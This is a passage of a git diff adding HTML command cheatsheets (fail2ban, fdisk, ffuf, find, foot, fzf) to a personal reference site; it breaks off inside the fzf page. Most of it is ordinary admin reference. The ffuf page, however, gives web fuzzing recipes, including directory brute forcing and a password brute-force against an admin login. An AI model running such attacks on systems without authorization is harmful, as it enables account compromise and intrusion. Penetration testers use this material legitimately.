      fail2ban scans log files and bans IP addresses that show malicious signs (multiple failed login attempts, vulnerability scans, etc.). It can automatically update firewall rules to reject IP addresses for a specified amount of time.

      +
      +

      Service Management

      +
        +
      • systemctl start fail2ban - Start fail2ban service
      • +
      +
        +
      • systemctl stop fail2ban - Stop fail2ban service
      • +
      +
        +
      • systemctl restart fail2ban - Restart fail2ban service
      • +
      +
        +
      • systemctl status fail2ban - Check service status
      • +
      +
        +
      • systemctl enable fail2ban - Enable fail2ban at boot
      • +
      +
        +
      • systemctl reload fail2ban - Reload configuration without restart
      • +
      +
      +

      Viewing Status

      +
        +
      • fail2ban-client status - Show all active jails
      • +
      +
        +
      • fail2ban-client status sshd - Show status of specific jail
      • +
      +
        +
      • fail2ban-client status sshd -v - Verbose status output
      • +
      +
        +
      • fail2ban-client get logpath - Get log path for jail
      • +
      +
        +
      • fail2ban-client get findtime - Get findtime value
      • +
      +
        +
      • fail2ban-client get bantime - Get ban time value
      • +
      +
        +
      • fail2ban-client get maxretry - Get max retry value
      • +
      +
      +

      Ban Management

      +
        +
      • fail2ban-client set banip - Manually ban an IP
      • +
      +
        +
      • fail2ban-client set unbanip - Unban an IP address
      • +
      +
        +
      • fail2ban-client set unbanip all - Unban all IPs in a jail
      • +
      +
        +
      • fail2ban-client unban --all - Unban all IPs from all jails
      • +
      +
        +
      • fail2ban-client set sshd getbanned - List banned IPs for jail
      • +
      +
        +
      • fail2ban-client status sshd | grep "Banned IP" - List banned IPs
      • +
      +
      +

      Configuration Files

      +
        +
      • /etc/fail2ban/jail.conf - Main configuration (don't edit directly)
      • +
      +
        +
      • /etc/fail2ban/jail.local - Local configuration (override jail.conf)
      • +
      +
        +
      • /etc/fail2ban/jail.d/ - Additional jail configurations
      • +
      +
        +
      • /etc/fail2ban/filter.d/ - Filter definitions
      • +
      +
        +
      • /etc/fail2ban/action.d/ - Action scripts (ban/unban commands)
      • +
      +
        +
      • /etc/fail2ban/fail2ban.local - fail2ban daemon configuration
      • +
      +
        +
      • /var/log/fail2ban.log - fail2ban log file
      • +
      +
      +

      Common Jails

      +
        +
      • sshd - SSH server
      • +
      +
        +
      • apache-auth - Apache authentication failures
      • +
      +
        +
      • apache-badbots - Apache bad bots
      • +
      +
        +
      • apache-noscript - Apache script injection attempts
      • +
      +
        +
      • apache-overflows - Apache buffer overflow attempts
      • +
      +
        +
      • nginx-http-auth - Nginx HTTP authentication
      • +
      +
        +
      • nginx-limit-req - Nginx rate limiting
      • +
      +
        +
      • postfix - Postfix mail server
      • +
      +
        +
      • dovecot - Dovecot IMAP/POP3
      • +
      +
        +
      • vsftpd - FTP server
      • +
      +
        +
      • mysqld-auth - MySQL authentication
      • +
      +
      +

      Jail Configuration Example

      +
      [sshd]
      +enabled = true
      +port = ssh
      +filter = sshd
      +logpath = /var/log/auth.log
      +maxretry = 5
      +findtime = 600
      +bantime = 3600
      +action = iptables[name=SSH, port=ssh, protocol=tcp]
      +

      Configuration Options

      +
        +
      • enabled - Enable/disable jail (true/false)
      • +
      +
        +
      • port - Port(s) to ban (ssh, http, 22, 80,443, 22:25)
      • +
      +
        +
      • filter - Filter name (in /etc/fail2ban/filter.d/)
      • +
      +
        +
      • logpath - Log file path to monitor
      • +
      +
        +
      • maxretry - Maximum number of failures before ban
      • +
      +
        +
      • findtime - Time window in seconds to count failures
      • +
      +
        +
      • bantime - Duration of ban in seconds (-1 = permanent)
      • +
      +
        +
      • action - Action to take when banning (default: iptables)
      • +
      +
        +
      • ignoreip - IP addresses/networks to never ban
      • +
      +
        +
      • ignorecommand - Command to check if IP should be ignored
      • +
      +
      +

      Creating Custom Jails

      +

      /etc/fail2ban/jail.local

      +
      [DEFAULT]
      +# Default ban time (10 minutes)
      +bantime = 600
      +
      +# Time window to count failures (10 minutes)
      +findtime = 600
      +
      +# Maximum failures before ban
      +maxretry = 5
      +
      +# IPs/networks to never ban
      +ignoreip = 127.0.0.1/8 ::1 192.168.1.0/24
      +
      +# Email notifications (optional)
      +destemail = admin@example.com
      +sendername = Fail2Ban
      +action = %(action_mwl)s
      +
      +[sshd]
      +enabled = true
      +port = ssh
      +filter = sshd
      +logpath = /var/log/auth.log
      +maxretry = 3
      +bantime = 7200
      +
      +[custom-web]
      +enabled = true
      +port = http,https
      +filter = custom-web
      +logpath = /var/log/nginx/access.log
      +maxretry = 10
      +findtime = 300
      +bantime = 3600
      +
      +

      Creating Custom Filters

      +

      /etc/fail2ban/filter.d/custom-web.conf

      +
      [Definition]
      +# Failregex - patterns that indicate a failed attempt
      +failregex = ^<HOST>.*"GET /wp-admin.*" 404
      +            ^<HOST>.*"POST /xmlrpc.php.*" 200
      +            ^<HOST>.*"GET /administrator.*" 404
      +
      +# Ignore regex - patterns to ignore
      +ignoreregex =
      +

      Testing Filters

      +
      # Test filter against log file
      +fail2ban-regex /var/log/auth.log /etc/fail2ban/filter.d/sshd.conf
      +
      +# Test with verbose output
      +fail2ban-regex /var/log/auth.log /etc/fail2ban/filter.d/sshd.conf -v
      +
      +# Test custom filter
      +fail2ban-regex /var/log/nginx/access.log /etc/fail2ban/filter.d/custom-web.conf
      +
      +

      Actions

      +
        +
      • iptables - Use iptables for banning (default)
      • +
      +
        +
      • iptables-multiport - Ban multiple ports
      • +
      +
        +
      • iptables-allports - Ban all ports
      • +
      +
        +
      • iptables-new - Use iptables with new chain (recommended)
      • +
      +
        +
      • ipset - Use ipset for efficient IP management
      • +
      +
        +
      • ipset-multiport - ipset with multiple ports
      • +
      +
        +
      • nftables - Use nftables (new firewall backend)
      • +
      +
        +
      • sendmail - Send email notifications
      • +
      +
        +
      • mail-whois - Send email with whois information
      • +
      +
        +
      • action_mwl - Mail with whois and log lines
      • +
      +
        +
      • action_bspam - Ban and report to spamhaus
      • +
      +
      +

      Advanced Configuration

      +

      Email Notifications

      +
      [DEFAULT]
      +destemail = admin@example.com
      +sendername = Fail2Ban-Alerts
      +sender = fail2ban@example.com
      +mta = sendmail
      +action = %(action_mwl)s
      +

      Using ipset (Better Performance)

      +
      [sshd]
      +action = iptables-ipset-proto6[name=SSH, port=ssh, protocol=tcp, chain=INPUT]
      +         iptables-ipset-proto4[name=SSH, port=ssh, protocol=tcp, chain=INPUT]
      +

      Multiple Ports

      +
      [web-ports]
      +enabled = true
      +port = http,https,8080,8443
      +filter = apache-auth
      +logpath = /var/log/apache2/*error.log
      +maxretry = 5
      +
      +

      Managing Jails

      +
        +
      • fail2ban-client start - Start fail2ban
      • +
      +
        +
      • fail2ban-client stop - Stop fail2ban
      • +
      +
        +
      • fail2ban-client reload - Reload configuration
      • +
      +
        +
      • fail2ban-client reload - Reload specific jail
      • +
      +
        +
      • fail2ban-client start - Start specific jail
      • +
      +
        +
      • fail2ban-client stop - Stop specific jail
      • +
      +
        +
      • fail2ban-client restart - Restart specific jail
      • +
      +
      +

      Logging and Monitoring

      +
        +
      • tail -f /var/log/fail2ban.log - Monitor fail2ban log
      • +
      +
        +
      • grep "Ban\|Unban" /var/log/fail2ban.log - View ban/unban events
      • +
      +
        +
      • fail2ban-client get logencoding - Check log encoding
      • +
      +
        +
      • fail2ban-client -d - Debug mode (run in foreground)
      • +
      +
      +

      Useful Commands

      +
        +
      • fail2ban-client ping - Test if fail2ban is responding
      • +
      +
        +
      • fail2ban-client version - Show version
      • +
      +
        +
      • fail2ban-regex --help - Help for regex testing
      • +
      +
        +
      • iptables -L -n | grep f2b- - List fail2ban iptables rules
      • +
      +
        +
      • ipset list - List all ipsets (if using ipset)
      • +
      +
      +

      Common Use Cases

      +

      Protect SSH

      +
      [sshd]
      +enabled = true
      +port = ssh
      +filter = sshd
      +logpath = /var/log/auth.log
      +maxretry = 3
      +bantime = 3600
      +ignoreip = 192.168.1.0/24
      +

      Protect Web Server

      +
      [apache-auth]
      +enabled = true
      +port = http,https
      +filter = apache-auth
      +logpath = /var/log/apache2/*error.log
      +maxretry = 3
      +
      +[apache-badbots]
      +enabled = true
      +port = http,https
      +filter = apache-badbots
      +logpath = /var/log/apache2/*access.log
      +maxretry = 2
      +

      Protect MySQL

      +
      [mysqld-auth]
      +enabled = true
      +port = 3306
      +filter = mysqld-auth
      +logpath = /var/log/mysqld.log
      +maxretry = 5
      +bantime = 7200
      +
      +

      Tips

      +
        +
      • Always use jail.local instead of editing jail.conf directly
      • +
      +
        +
      • Test filters with fail2ban-regex before enabling jails
      • +
      +
        +
      • Add your own IP to ignoreip to avoid getting locked out
      • +
      +
        +
      • Use ipset action for better performance with many banned IPs
      • +
      +
        +
      • Monitor /var/log/fail2ban.log for issues
      • +
      +
        +
      • Set reasonable bantime to avoid permanent locks
      • +
      +
        +
      • Adjust maxretry and findtime based on your needs
      • +
      +
        +
      • Use action_mwl to get email notifications with context
      • +
      +
        +
      • Check iptables rules regularly to ensure bans are working
      • +
      +
        +
      • Combine with log monitoring tools for better visibility
      • +
      +
        +
      • Document custom filters for future reference
      • +
      +
        +
      • Regularly review banned IPs and unban false positives
      • +
      +
        +
      • Use fail2ban-client reload to apply config changes without downtime
      • +
      +
        +
      • Test configuration changes on a non-production system first
      • +
      +
        +
      • Keep fail2ban updated to get latest filters and fixes
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/fdisk.html b/cheatsheets/fdisk.html new file mode 100644 index 0000000..1f9e6ac --- /dev/null +++ b/cheatsheets/fdisk.html @@ -0,0 +1,225 @@ + + + + + + + + + + + fdisk Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      fdisk Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      fdisk is a command-line utility for disk partitioning. Used to create, delete, and manage partitions on storage devices.

      +
      +

      Basic Usage

      +
        +
      • fdisk -l - List all partitions on all disks
      • +
      +
        +
      • fdisk -l /dev/sda - List partitions on specific disk
      • +
      +
        +
      • sudo fdisk /dev/sda - Open fdisk for disk (interactive mode)
      • +
      +
      +

      Interactive Commands

      +

      Once in fdisk (type `m` for menu):

      +
        +
      • p - Print partition table
      • +
      +
        +
      • n - Create new partition
      • +
      +
        +
      • d - Delete partition
      • +
      +
        +
      • t - Change partition type
      • +
      +
        +
      • w - Write changes and exit
      • +
      +
        +
      • q - Quit without saving
      • +
      +
        +
      • l - List known partition types
      • +
      +
        +
      • v - Verify partition table
      • +
      +
        +
      • u - Change units (sectors/cylinders)
      • +
      +
        +
      • m - Print menu
      • +
      +
        +
      • a - Toggle bootable flag
      • +
      +
      +

      Common Operations

      +

      Create New Partition

      +
        +
      1. `sudo fdisk /dev/sda`
      2. +
      3. `n` - New partition
      4. +
      5. `p` - Primary partition (or `e` for extended)
      6. +
      7. Choose partition number (1-4)
      8. +
      9. Enter first sector (default is fine)
      10. +
      11. Enter last sector or size (e.g., `+10G` for 10GB)
      12. +
      13. `w` - Write changes
      14. +
      +

      Delete Partition

      +
        +
      1. `sudo fdisk /dev/sda`
      2. +
      3. `p` - View partitions
      4. +
      5. `d` - Delete partition
      6. +
      7. Select partition number
      8. +
      9. `w` - Write changes
      10. +
      +

      Change Partition Type

      +
        +
      1. `sudo fdisk /dev/sda`
      2. +
      3. `t` - Change type
      4. +
      5. Select partition
      6. +
      7. Enter type code (e.g., `83` for Linux, `82` for swap)
      8. +
      9. `w` - Write changes
      10. +
      +
      +

      Partition Type Codes

      +
        +
      • 82 - Linux swap
      • +
      +
        +
      • 83 - Linux filesystem
      • +
      +
        +
      • 85 - Linux extended
      • +
      +
        +
      • 8e - Linux LVM
      • +
      +
        +
      • ef - EFI system partition
      • +
      +
        +
      • Use `l` in fdisk to see full list
      • +
      +
      +

      After Partitioning

      +

      After creating partitions, you may need to:

      +
        +
      • `partprobe` - Inform OS of partition table changes
      • +
      +
        +
      • `mkfs.ext4 /dev/sda1` - Format partition as ext4
      • +
      +
        +
      • `mount /dev/sda1 /mnt` - Mount partition
      • +
      +
        +
      • Add to `/etc/fstab` for permanent mounting
      • +
      +
      +

      Related Commands

      +
        +
      • `lsblk` - List block devices in tree format
      • +
      +
        +
      • `blkid` - Show block device attributes
      • +
      +
        +
      • `parted` - Alternative partitioning tool (GPT support)
      • +
      +
        +
      • `cfdisk` - Curses-based disk partitioner
      • +
      +
        +
      • `gdisk` - GPT fdisk (for GPT partition tables)
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • `/etc/fstab` - File system table (mount points)
      • +
      +
        +
      • `/proc/partitions` - Current partition information
      • +
      +
      +

      Tips

      +
        +
      • Always use `-l` to list first before making changes
      • +
      +
        +
      • Write changes (`w`) only when you're sure
      • +
      +
        +
      • Use `q` to quit without saving if you make a mistake
      • +
      +
        +
      • Backup important data before partitioning
      • +
      +
        +
      • Use `partprobe` or reboot after partitioning
      • +
      +
        +
      • For GPT disks, use `gdisk` instead of `fdisk`
      • +
      +
        +
      • Be very careful - partitioning can destroy data
      • +
      +
        +
      • Test changes on non-critical systems first
      • +
      +
        +
      • Use `cfdisk` for easier interactive interface
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/ffuf.html b/cheatsheets/ffuf.html new file mode 100644 index 0000000..8185d15 --- /dev/null +++ b/cheatsheets/ffuf.html @@ -0,0 +1,252 @@ + + + + + + + + + + + ffuf Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      ffuf Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      ffuf (Fuzz Faster U Fool) is a fast web fuzzer written in Go. It's highly flexible for directory discovery, parameter fuzzing, virtual host discovery, and more.

      +
      +

      Basic Usage

      +
        +
      • ffuf -u <url>/FUZZ -w <wordlist> - Basic directory fuzzing
      • +
      +
        +
      • FUZZ keyword marks where wordlist entries are inserted
      • +
      +
      +

      Input Options

      +
        +
      • -u - Target URL with FUZZ keyword
      • +
      +
        +
      • -w - Wordlist file (can use multiple: -w list1:KEYWORD1 -w list2:KEYWORD2)
      • +
      +
        +
      • -X - HTTP method (default GET)
      • +
      +
        +
      • -d - POST data
      • +
      +
        +
      • -H - Header (can use multiple)
      • +
      +
        +
      • -b - Cookie data
      • +
      +
      +

      Matcher Options (Show Results)

      +
        +
      • -mc - Match HTTP status codes (default 200,204,301,302,307,401,403,405)
      • +
      +
        +
      • -ml - Match response line count
      • +
      +
        +
      • -mr - Match regex pattern
      • +
      +
        +
      • -ms - Match response size
      • +
      +
        +
      • -mw - Match word count
      • +
      +
        +
      • -mt - Match response time (milliseconds)
      • +
      +
      +

      Filter Options (Hide Results)

      +
        +
      • -fc - Filter HTTP status codes
      • +
      +
        +
      • -fl - Filter by line count
      • +
      +
        +
      • -fr - Filter by regex
      • +
      +
        +
      • -fs - Filter by response size
      • +
      +
        +
      • -fw - Filter by word count
      • +
      +
        +
      • -ft - Filter by response time
      • +
      +
      +

      Output Options

      +
        +
      • -o - Output file
      • +
      +
        +
      • -of - Output format (json, ejson, html, md, csv, all)
      • +
      +
        +
      • -od - Output directory for matched results
      • +
      +
        +
      • -v - Verbose output
      • +
      +
        +
      • -s - Silent mode (no banner)
      • +
      +
        +
      • -c - Colorize output
      • +
      +
      +

      Performance Options

      +
        +
      • -t - Threads (default 40)
      • +
      +
        +
      • -p - Delay between requests (seconds, e.g., 0.1)
      • +
      +
        +
      • -rate - Requests per second
      • +
      +
        +
      • -timeout - Request timeout (default 10)
      • +
      +
      +

      Other Options

      +
        +
      • -r - Follow redirects
      • +
      +
        +
      • -recursion - Enable recursion
      • +
      +
        +
      • -recursion-depth - Max recursion depth
      • +
      +
        +
      • -e - Extension list (.php,.html,.txt)
      • +
      +
        +
      • -ic - Ignore wordlist comments
      • +
      +
        +
      • -ac - Autocalibrate filtering
      • +
      +
        +
      • -x - Proxy URL
      • +
      +
        +
      • -replay-proxy - Send matches through proxy
      • +
      +
      +

      Common Examples

      +

      Directory Discovery

      +
      ffuf -u http://example.com/FUZZ -w wordlist.txt
      +

      Basic directory brute forcing.

      +

      With Extensions

      +
      ffuf -u http://example.com/FUZZ -w wordlist.txt -e .php,.html,.txt
      +

      Add extensions to each word.

      +

      Filter by Size

      +
      ffuf -u http://example.com/FUZZ -w wordlist.txt -fs 4242
      +

      Hide responses of specific size.

      +

      POST Parameter Fuzzing

      +
      ffuf -u http://example.com/login -X POST -d "user=admin&pass=FUZZ" -w passwords.txt
      +

      Fuzz POST parameters.

      +

      Header Fuzzing

      +
      ffuf -u http://example.com -H "X-Custom-Header: FUZZ" -w wordlist.txt
      +

      Fuzz header values.

      +

      Virtual Host Discovery

      +
      ffuf -u http://example.com -H "Host: FUZZ.example.com" -w subdomains.txt -fs 4242
      +

      Find virtual hosts.

      +

      GET Parameter Fuzzing

      +
      ffuf -u "http://example.com/page?id=FUZZ" -w numbers.txt
      +

      Fuzz GET parameters.

      +

      Multiple Wordlists

      +
      ffuf -u http://example.com/FOLDER/FILE -w dirs.txt:FOLDER -w files.txt:FILE
      +

      Use multiple wordlists with keywords.

      +

      Autocalibrate

      +
      ffuf -u http://example.com/FUZZ -w wordlist.txt -ac
      +

      Automatically calibrate filters.

      +

      With Proxy

      +
      ffuf -u http://example.com/FUZZ -w wordlist.txt -x http://127.0.0.1:8080
      +

      Route through Burp Suite.

      +

      Rate Limited

      +
      ffuf -u http://example.com/FUZZ -w wordlist.txt -rate 50
      +

      Limit to 50 requests/second.

      +

      Recursive

      +
      ffuf -u http://example.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2
      +

      Recurse into found directories.

      +
      +

      Tips

      +
        +
      • Use -ac for auto-calibration on unknown targets
      • +
      +
        +
      • Filter by size (-fs) when pages return custom 404s
      • +
      +
        +
      • Use -replay-proxy to send only matches through Burp
      • +
      +
        +
      • Multiple FUZZ keywords enable complex fuzzing
      • +
      +
        +
      • Faster than gobuster for most use cases
      • +
      +
        +
      • Use -e for extension fuzzing
      • +
      +
        +
      • Match on response time (-mt) can find blind vulns
      • +
      +
        +
      • Always get authorization before scanning
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/find.html b/cheatsheets/find.html new file mode 100644 index 0000000..cce96fd --- /dev/null +++ b/cheatsheets/find.html @@ -0,0 +1,238 @@ + + + + + + + + + + + find Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      find Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      find searches for files and directories in a directory hierarchy. Powerful tool for locating files by name, type, size, modification time, and more.

      +
      +

      Basic Usage

      +
        +
      • find /path -name "pattern" - Find by name
      • +
      +
        +
      • find . -type f - Find files only
      • +
      +
        +
      • find . -type d - Find directories only
      • +
      +
        +
      • find . -name "*.txt" - Find by extension
      • +
      +
        +
      • find /path -exec command {} \; - Execute command
      • +
      +
      +

      Search by Name

      +
        +
      • -name "pattern" - Exact name match
      • +
      +
        +
      • -iname "pattern" - Case-insensitive name
      • +
      +
        +
      • -path "pattern" - Match path
      • +
      +
        +
      • -regex pattern - Regular expression
      • +
      +
      +

      Search by Type

      +
        +
      • -type f - Files
      • +
      +
        +
      • -type d - Directories
      • +
      +
        +
      • -type l - Symbolic links
      • +
      +
        +
      • -type b - Block devices
      • +
      +
        +
      • -type c - Character devices
      • +
      +
        +
      • -type p - Named pipes
      • +
      +
        +
      • -type s - Sockets
      • +
      +
      +

      Search by Size

      +
        +
      • -size +100M - Larger than 100MB
      • +
      +
        +
      • -size -10k - Smaller than 10KB
      • +
      +
        +
      • -size 50c - Exactly 50 bytes
      • +
      +
        +
      • -empty - Empty files/directories
      • +
      +
      +

      Search by Time

      +
        +
      • -mtime -7 - Modified in last 7 days
      • +
      +
        +
      • -mtime +30 - Modified more than 30 days ago
      • +
      +
        +
      • -atime -1 - Accessed in last 24 hours
      • +
      +
        +
      • -ctime -2 - Changed in last 2 days
      • +
      +
        +
      • -newer file - Newer than file
      • +
      +
        +
      • -amin -60 - Accessed in last 60 minutes
      • +
      +
        +
      • -mmin -30 - Modified in last 30 minutes
      • +
      +
      +

      Search by Permissions

      +
        +
      • -perm 644 - Exact permissions
      • +
      +
        +
      • -perm -u+w - User has write
      • +
      +
        +
      • -perm /o+x - Others have execute
      • +
      +
        +
      • -user username - Owned by user
      • +
      +
        +
      • -group groupname - Owned by group
      • +
      +
      +

      Actions

      +
        +
      • -print - Print results (default)
      • +
      +
        +
      • -ls - List like ls -dils
      • +
      +
        +
      • -delete - Delete found files
      • +
      +
        +
      • -exec command {} \; - Execute command
      • +
      +
        +
      • -exec command {} + - Execute with multiple files
      • +
      +
        +
      • -ok command {} \; - Interactive exec
      • +
      +
      +

      Common Examples

      +

      Find by Name

      +
      find . -name "*.txt"
      +

      Find all .txt files.

      +

      Find Large Files

      +
      find / -size +100M
      +

      Find files larger than 100MB.

      +

      Find Recent Files

      +
      find . -mtime -7
      +

      Files modified in last week.

      +

      Find and Delete

      +
      find . -name "*.tmp" -delete
      +

      Delete all .tmp files.

      +

      Find and Execute

      +
      find . -name "*.sh" -exec chmod +x {} \;
      +

      Make scripts executable.

      +

      Find Empty Files

      +
      find . -type f -empty
      +

      Find empty files.

      +

      Find by User

      +
      find /home -user username
      +

      Find files owned by user.

      +

      Find Directories

      +
      find . -type d -name "config"
      +

      Find directories named config.

      +
      +

      Tips

      +
        +
      • Use -name for simple patterns
      • +
      +
        +
      • Use -iname for case-insensitive
      • +
      +
        +
      • Use -type to filter file types
      • +
      +
        +
      • Use -size to find large/small files
      • +
      +
        +
      • Use -mtime for time-based searches
      • +
      +
        +
      • Be careful with -delete
      • +
      +
        +
      • Use -exec for batch operations
      • +
      +
        +
      • Essential for file system management
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/foot.html b/cheatsheets/foot.html new file mode 100644 index 0000000..5fcf30e --- /dev/null +++ b/cheatsheets/foot.html @@ -0,0 +1,236 @@ + + + + + + + + + + + foot Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      foot Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      foot is a fast, lightweight and minimalistic Wayland terminal emulator.

      +
      +

      Keyboard Shortcuts

      +

      Basic Navigation

      +
        +
      • Shift+PageUp - Scroll up in history
      • +
      +
        +
      • Shift+PageDown - Scroll down in history
      • +
      +
        +
      • Ctrl+Shift+C or XF86Copy - Copy selected text to clipboard
      • +
      +
        +
      • Ctrl+Shift+V or XF86Paste - Paste from clipboard
      • +
      +
        +
      • Shift+Insert - Paste from primary selection
      • +
      +

      Font Size

      +
        +
      • Ctrl++ or Ctrl+= - Increase font size
      • +
      +
        +
      • Ctrl+- - Decrease font size
      • +
      +
        +
      • Ctrl+0 - Reset font size
      • +
      +

      Terminal Management

      +
        +
      • Ctrl+Shift+N - Spawn a new terminal (respects current working directory if OSC 7 enabled)
      • +
      +
        +
      • Ctrl+Shift+U - Enter URL mode (visible URLs can be activated)
      • +
      +
        +
      • Ctrl+Shift+Z - Jump to previous prompt (shell integration needed)
      • +
      +
        +
      • Ctrl+Shift+X - Jump to next prompt (shell integration needed)
      • +
      +

      Scrollback Search

      +
        +
      • Ctrl+Shift+R - Enter scrollback search mode
      • +
      +
        +
      • Ctrl+R - Search backward for next match (in search mode)
      • +
      +
        +
      • Ctrl+S - Search forward (in search mode)
      • +
      +
        +
      • Ctrl+Left/Right - Move by word in search input
      • +
      +
        +
      • Alt+F - Move forward by word
      • +
      +
        +
      • Alt+B - Move backward by word
      • +
      +
        +
      • Alt+Backspace - Delete word before cursor
      • +
      +
        +
      • Ctrl+Backspace - Delete word before cursor (alternative)
      • +
      +
        +
      • Return - Finish search and copy match to primary selection
      • +
      +
        +
      • Escape, Ctrl+C, or Ctrl+G - Cancel search
      • +
      +
      +

      Mouse Shortcuts

      +

      Selection

      +
        +
      • Single-click - Select text (drag to adjust), copy to primary selection on release
      • +
      +
        +
      • Shift+Click - Force selection even if client has mouse tracking enabled
      • +
      +
        +
      • Ctrl+Click - Block selection
      • +
      +
        +
      • Double-click - Select word under cursor
      • +
      +
        +
      • Ctrl+Double-click - Extend selection to next space-separated region
      • +
      +
        +
      • Triple-click - Select entire line
      • +
      +
        +
      • Quad-click - Select entire line (alternative)
      • +
      +

      Clipboard

      +
        +
      • Middle-click - Paste from primary selection
      • +
      +

      Scrolling and Font

      +
        +
      • Wheel - Scroll through history
      • +
      +
        +
      • Ctrl+Wheel - Adjust font size
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • ~/.config/foot/foot.ini (user config)
      • +
      +
        +
      • /etc/xdg/foot/foot.ini (system config)
      • +
      +

      Example Key Bindings

      +

      Customize shortcuts in [key-bindings] section:

      +
      [key-bindings]
      +# Remap font size controls
      +font-increase=Ctrl+Shift+Plus
      +font-decrease=Ctrl+Shift+Minus
      +
      +# Custom scrollback
      +scrollback-up-page=Shift+Home
      +scrollback-down-page=Shift+End
      +
      +# Additional clipboard bindings
      +clipboard-copy=Ctrl+Shift+C XF86Copy
      +clipboard-paste=Ctrl+Shift+V XF86Paste
      +

      Example Mouse Bindings

      +

      Customize mouse behavior in [mouse-bindings] section:

      +
      [mouse-bindings]
      +# Block selection with Ctrl+drag
      +select-begin-block=Control+BTN_LEFT
      +select-extend-character-wise=Control+BTN_RIGHT
      +
      +

      Tips

      +
        +
      • Use include= directive to include other config files (e.g., themes)
      • +
      +
        +
      • Font names accept comma-separated fontconfig-style names for fallbacks
      • +
      +
        +
      • Size can be in points or pixel size; DPI awareness affects point size
      • +
      +
        +
      • Use colors-dark and colors-light for theme switching (colors and colors2 are deprecated)
      • +
      +
        +
      • Shell integration enables prompt jumping (Ctrl+Shift+Z/X)
      • +
      +
        +
      • URL mode (Ctrl+Shift+U) allows activating visible URLs
      • +
      +
        +
      • Primary selection (middle-click paste) works independently of clipboard
      • +
      +
        +
      • Block selection (Ctrl+drag) is useful for columnar data
      • +
      +
        +
      • Scrollback search copies matches to primary selection automatically
      • +
      +
      +

      Resources

      +
        +
      • Project: https://codeberg.org/dnkl/foot
      • +
      +
        +
      • Manual: man foot
      • +
      +
        +
      • Config manual: man foot.ini
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/fzf.html b/cheatsheets/fzf.html new file mode 100644 index 0000000..8a2f741 --- /dev/null +++ b/cheatsheets/fzf.html @@ -0,0 +1,312 @@ + + + + + + + + + + + fzf Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      fzf Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      fzf (fuzzy finder) is a command-line fuzzy finder for filtering and selecting from lists. Extremely fast and versatile for navigating files, command history, and more.

      +
      +

      Basic Usage

      +
        +
      • fzf - Fuzzy find from stdin
      • +
      +
        +
      • ls | fzf - Fuzzy find from file list
      • +
      +
        +
      • find . -type f | fzf - Fuzzy find from find results
      • +
      +
        +
      • fzf <dir> - Fuzzy find files in directory
      • +
      +
      +

      Interactive Commands

      +
        +
      • Ctrl+C, Esc - Exit
      • +
      +
        +
      • Enter - Select and exit
      • +
      +
        +
      • Tab - Select multiple items (multi-select)
      • +
      +
        +
      • Shift+Tab - Unselect
      • +
      +
        +
      • Up/Down Arrow or Ctrl+P/N - Navigate up/down
      • +
      +
        +
      • Page Up/Down or Ctrl+V/B - Navigate page up/down
      • +
      +
        +
      • Alt+Up/Down - Navigate half page up/down
      • +
      +
        +
      • Ctrl+A - Select all
      • +
      +
        +
      • Ctrl+D - Deselect all
      • +
      +
        +
      • Ctrl+T - Toggle all
      • +
      +
        +
      • Ctrl+L - Clear input
      • +
      +
        +
      • ? - Toggle preview window
      • +
      +
        +
